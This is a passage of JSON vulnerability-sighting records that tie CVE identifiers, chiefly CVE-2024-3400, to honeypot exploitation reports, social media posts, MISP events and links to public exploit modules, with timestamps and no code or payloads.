"", "creation_timestamp": "2025-08-23T14:32:27.642132Z"}, {"uuid": "15a00898-4442-458c-8204-360fa5e8f4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-02)", "content": "", "creation_timestamp": "2025-11-02T00:00:00.000000Z"}, {"uuid": "72a89c82-4d72-4bdc-a7c5-54d3dac2d933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-08)", "content": "", "creation_timestamp": "2025-09-08T00:00:00.000000Z"}, {"uuid": "af483169-70c3-487f-9cc3-66d46e8f20f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-10)", "content": "", "creation_timestamp": "2025-10-10T00:00:00.000000Z"}, {"uuid": "14a66351-5ff0-48e7-b706-d646911ad930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3m22so4hsck2w", "content": "", "creation_timestamp": "2025-09-30T15:11:03.479828Z"}, {"uuid": "20af2522-4ab9-4505-bb7e-77f646f71033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-05)", "content": "", "creation_timestamp": "2025-11-05T00:00:00.000000Z"}, {"uuid": "ba9e1937-e218-41a4-baec-e00111866d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-23)", "content": "", "creation_timestamp": "2025-08-23T00:00:00.000000Z"}, {"uuid": "ddc3bec4-0219-4bfa-a9c0-486b420589db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3m22vnyj72s2a", "content": "", "creation_timestamp": "2025-09-30T16:04:26.109891Z"}, {"uuid": "d2bef24f-fa9f-4bab-a519-d41b7a6c2705", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-18)", "content": "", "creation_timestamp": "2025-11-18T00:00:00.000000Z"}, {"uuid": "2115d8b8-8d5a-444b-a8d5-3b704a6defc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/115543458712266887", "content": "", "creation_timestamp": "2025-11-13T17:01:08.450415Z"}, {"uuid": "fe76ea8d-397a-4de7-8720-2f910a8381f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3m5jnfb2cywi2", "content": "", "creation_timestamp": "2025-11-13T17:02:39.554613Z"}, {"uuid": "573ec33c-3397-4987-a479-d759821633b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/94901317-a31d-44b5-a66c-8fe3dbace6b5", "content": "", "creation_timestamp": "2025-09-12T00:16:19.000000Z"}, {"uuid": "4a7d40d3-848b-4d8d-a8b3-f1c29f6512d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-12)", "content": "", "creation_timestamp": "2025-10-12T00:00:00.000000Z"}, {"uuid": "aa47bbb7-7df2-4d3b-896d-b78c53b77e6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34069", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/werkzeug_debug_rce.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "bd646283-622d-4057-81f0-aa415589ad25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/magento_xxe_cve_2024_34102.rb", "content": "", "creation_timestamp": "2024-07-18T17:56:01.000000Z"}, {"uuid": "9c4a2eea-16a3-4259-9840-6d4eef0d3533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3408", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dtale_rce_cve_2025_0655.rb", "content": "", "creation_timestamp": "2025-03-03T12:12:04.000000Z"}, {"uuid": "a6bd29de-0973-438d-8490-b31f974def2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34716", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "f17f00b0-adf8-4fa9-8eec-03d3be4220fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rb7j7ks2b", "content": "", "creation_timestamp": "2025-10-01T00:18:25.043796Z"}, {"uuid": "1f0bc3b1-49a5-411a-b018-4c7fb62452df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23retpez22b", "content": "", "creation_timestamp": "2025-10-01T00:20:27.866844Z"}, {"uuid": "cd10729f-6baa-4dbd-a5f6-cdefe06455c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rjoqhvc2b", "content": "", "creation_timestamp": "2025-10-01T00:23:15.267087Z"}, {"uuid": "bba1ffb1-c125-4e62-9b4e-130d64f65e08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rjrhf5c2b", "content": "", "creation_timestamp": "2025-10-01T00:23:15.779500Z"}, {"uuid": "c38e9872-6e9b-4930-8304-94b608b4c48f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rjt6dwk2b", "content": "", "creation_timestamp": "2025-10-01T00:23:16.275092Z"}, {"uuid": "9f85d55f-ac2c-4b65-bf99-37feb15bf3bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rteg6ak2b", "content": "", "creation_timestamp": "2025-10-01T00:28:43.541100Z"}, {"uuid": "13dc59d1-b140-43be-b8c5-89914a18b95c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rterrdk2b", "content": "", "creation_timestamp": "2025-10-01T00:28:46.656247Z"}, {"uuid": "bd9cc0aa-1030-4ecb-b87b-de0d4676b04c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rtir5j22b", "content": "", "creation_timestamp": "2025-10-01T00:28:49.791767Z"}, {"uuid": "4a64f153-995d-4022-9165-4019342aa404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rtmasqs2b", "content": "", "creation_timestamp": "2025-10-01T00:28:52.940742Z"}, {"uuid": "3394cc2b-65a1-4567-b201-5d85cc6c84c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-15)", "content": "", "creation_timestamp": "2025-09-15T00:00:00.000000Z"}, {"uuid": "b0a039f6-a9bd-4851-84f7-e36640e2967f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rtmaupc2b", "content": "", "creation_timestamp": "2025-10-01T00:28:56.013906Z"}, {"uuid": "55105f1c-6834-46b6-9f9c-1ba56ca2ef62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3m23rtmaxn22b", "content": "", "creation_timestamp": "2025-10-01T00:28:59.087839Z"}, {"uuid": "8f00ef62-5e41-4d20-9bff-94760cfe2538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-17)", "content": "", "creation_timestamp": "2025-10-17T00:00:00.000000Z"}, {"uuid": "ba9ef0a2-8034-41a0-82db-e83c22d97ca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-12)", "content": "", "creation_timestamp": "2025-10-12T00:00:00.000000Z"}, {"uuid": "e356bb21-fbc8-47d5-bae1-272d3e8daaa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115576903046164559", "content": "", "creation_timestamp": "2025-11-19T14:46:24.642130Z"}, {"uuid": "26d8e368-ed38-450d-aa8d-4b9e156675bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-27)", "content": "", "creation_timestamp": "2025-08-27T00:00:00.000000Z"}, {"uuid": "da95e8d3-d50a-49fe-8189-5847a96054e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-0cc0a2cc-984ab59dd0761b42", "content": "", "creation_timestamp": "2025-08-29T07:38:09.389493Z"}, {"uuid": "fa57570b-9712-4445-835b-a27c8644680a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/3057b723-5fae-476d-b162-b0a1a9a63ac2", "content": "", "creation_timestamp": "2025-08-28T15:41:49.000000Z"}, {"uuid": "7a46f100-cca8-4f10-9b48-9ba8958e16f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://threatintel.cc/2025/08/30/cisa-aaa-global-advisory-on.html", "content": "", "creation_timestamp": "2025-08-30T21:15:53.000000Z"}, {"uuid": "b08a5fd8-1366-4e17-acd8-f529e7d312c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-11)", "content": "", "creation_timestamp": "2025-09-11T00:00:00.000000Z"}, {"uuid": "9b62c4a8-ba6f-4a2e-a3c1-58c3c3262f62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-30)", "content": "", "creation_timestamp": "2025-09-30T00:00:00.000000Z"}, {"uuid": "0e527495-332f-4f0a-842e-da9927b7dc15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:11.000000Z"}, {"uuid": "da70f840-3fd7-4cc5-9631-48c201fc5c5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:33.000000Z"}, {"uuid": "8e70ac55-1353-4be6-954f-8bf084521401", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-14)", "content": "", "creation_timestamp": "2025-11-14T00:00:00.000000Z"}, {"uuid": "7a022286-2d7f-4296-900a-d5b376b37a60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_telemetry_cmd_exec.rb", "content": "", "creation_timestamp": "2024-04-19T18:10:30.000000Z"}, {"uuid": "6737f071-7956-4051-a6b9-bfb3b2036846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34069", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3m53y75re5s26", "content": "", "creation_timestamp": "2025-11-08T06:38:04.483224Z"}, {"uuid": "c77f6dcd-ad5f-475c-804e-0a13effecf0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34343", "type": "seen", "source": "https://bsky.app/profile/insightsintothings.com/post/3lynjtmiu3s2a", "content": "", "creation_timestamp": "2025-09-12T15:01:41.546040Z"}, {"uuid": "a58830eb-09ed-4674-a679-c08c275fa53a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/3057b723-5fae-476d-b162-b0a1a9a63ac2", "content": "", "creation_timestamp": "2025-09-01T03:42:37.000000Z"}, {"uuid": "8dde031f-66ea-4f0d-94d0-6b5d99562a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-31)", "content": "", "creation_timestamp": "2025-08-31T00:00:00.000000Z"}, {"uuid": "d239ec7f-93f7-433c-933c-693ee195cfa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb", "content": "", "creation_timestamp": "2024-10-18T13:02:37.000000Z"}, {"uuid": "6f5715a9-3114-4103-b2b0-cbc2fdf3ef02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-01)", "content": "", "creation_timestamp": "2025-09-01T00:00:00.000000Z"}, {"uuid": "b6bba842-ae70-4354-b982-99adac4a820b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34156", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lxusodln3k26", "content": "", "creation_timestamp": "2025-09-02T19:04:37.605652Z"}, {"uuid": "f78e9ad7-06e0-4f12-b0f6-406b5b671b26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-24)", "content": "", "creation_timestamp": "2025-09-24T00:00:00.000000Z"}, {"uuid": "31211ea5-5ba0-4e06-87bb-dbcb9c504ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3446", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lyobvxu5h22i", "content": "", "creation_timestamp": "2025-09-12T22:13:53.905653Z"}, {"uuid": "1cecb6b9-b8e7-4420-8222-69f17bbd42d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-03)", "content": "", "creation_timestamp": "2025-09-03T00:00:00.000000Z"}, {"uuid": "d7ebe261-c848-4a17-8e71-b1a8ea2c081d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3m26hx2pnkj2k", "content": "", "creation_timestamp": "2025-10-02T02:09:36.906087Z"}, {"uuid": "d246a0f7-3745-43d6-bcd5-e109e9b8a56b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-04)", "content": "", "creation_timestamp": "2025-09-04T00:00:00.000000Z"}, {"uuid": "9a02d979-49b3-4e3f-aa6b-83ec12c73b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3m7e3txcear2r", "content": "", "creation_timestamp": "2025-12-06T22:55:04.029215Z"}, {"uuid": "b035252e-192a-4f2d-bc78-9b6791f833ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-d41fd0de-73d92c51d101e2d7", "content": "", "creation_timestamp": "2025-12-07T11:30:09.681086Z"}, {"uuid": "1d575d51-31e4-4333-964e-4828f5ab0187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34351", "type": "seen", "source": "https://gist.github.com/parameciumzhang/6f62cee5cf4bf3d4531636d086d5418e", "content": "", "creation_timestamp": "2025-12-12T03:37:29.000000Z"}, {"uuid": "86abf356-2772-4324-bed0-e32576775714", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-11)", "content": "", "creation_timestamp": "2025-12-11T00:00:00.000000Z"}, {"uuid": "1c2d8aeb-f8c4-441b-ba10-1e1ed8e02d30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-12)", "content": "", "creation_timestamp": "2025-12-12T00:00:00.000000Z"}, {"uuid": "34439abc-5ef0-4cf5-bd44-3ed1a1926a86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34351", "type": "seen", "source": "https://t.me/securixy_kz/882", "content": "", "creation_timestamp": "2026-07-12T22:00:11.575106Z"}, {"uuid": "eb6a0e51-6204-4ace-abdf-3fbb34ae2a68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/securixy_kz/871", "content": "", "creation_timestamp": "2026-07-12T22:00:11.526972Z"}, {"uuid": "9902d976-3b52-44b0-97a5-d046e24fa26e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3408", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mah44eehj32r", "content": "", "creation_timestamp": "2025-12-20T21:02:58.698827Z"}, {"uuid": "f54b03a6-205a-4453-9914-8feb1a33ecab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-23)", "content": "", "creation_timestamp": "2025-12-23T00:00:00.000000Z"}, {"uuid": "136ce52b-cfa1-4786-9de9-dfa39c86808e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3469", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-3469.yaml", "content": "", "creation_timestamp": "2025-12-24T19:20:31.000000Z"}, {"uuid": "4fc45e92-fad0-4e62-b92f-dd1620067fc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3469", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mb37traf3v22", "content": "", "creation_timestamp": "2025-12-28T21:02:59.509770Z"}, {"uuid": "264aa03e-5e0d-4768-8486-23dae7744c07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-01)", "content": "", "creation_timestamp": "2026-01-01T00:00:00.000000Z"}, {"uuid": "ad8f4c2e-9b95-4de4-b1be-df214f20a766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34693", "type": "seen", "source": "https://t.me/securixy_kz/920", "content": "", "creation_timestamp": "2026-07-12T22:00:10.847869Z"}, {"uuid": "9312d7be-e683-4cac-89ad-6855aa86f16e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34270", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mbvsavhdwk2l", "content": "", "creation_timestamp": "2026-01-08T10:41:43.543349Z"}, {"uuid": "2be7b57b-7875-4672-b458-2d9db4123572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34462", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mc3vx2e4e22b", "content": "", "creation_timestamp": "2026-01-10T21:03:49.468920Z"}, {"uuid": "26302c04-d224-481e-9e50-52d5ae827659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-34062", "type": "seen", "source": "https://gist.github.com/konard/d58e8c4af5b597bab2b5292c27e4c7c5", "content": "", "creation_timestamp": "2026-01-19T00:13:16.000000Z"}, {"uuid": "e9ed93f8-f678-405f-b8ba-3b88da70edce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-34062", "type": "seen", "source": "https://gist.github.com/konard/d865b38bfca9907df1e3a8dfefcf15f5", "content": "", "creation_timestamp": "2026-01-19T11:27:47.000000Z"}, {"uuid": "529d371d-d68d-44ad-95b6-ec7f90be54cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mgbyc3oogb2d", "content": "", "creation_timestamp": "2026-03-05T04:42:25.494647Z"}, {"uuid": "4e3664b8-8492-4d5b-8b00-d07726c0b002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34447", "type": "seen", "source": "https://gist.github.com/alon710/ce76b071b63d3394753200cdb4380331", "content": "", "creation_timestamp": "2026-03-11T12:40:07.000000Z"}, {"uuid": "7114c86e-3243-4044-9ac2-8dd02389934e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/hakksaww.bsky.social/post/3mgal53ruas2u", "content": "", "creation_timestamp": "2026-03-04T15:14:19.992293Z"}, {"uuid": 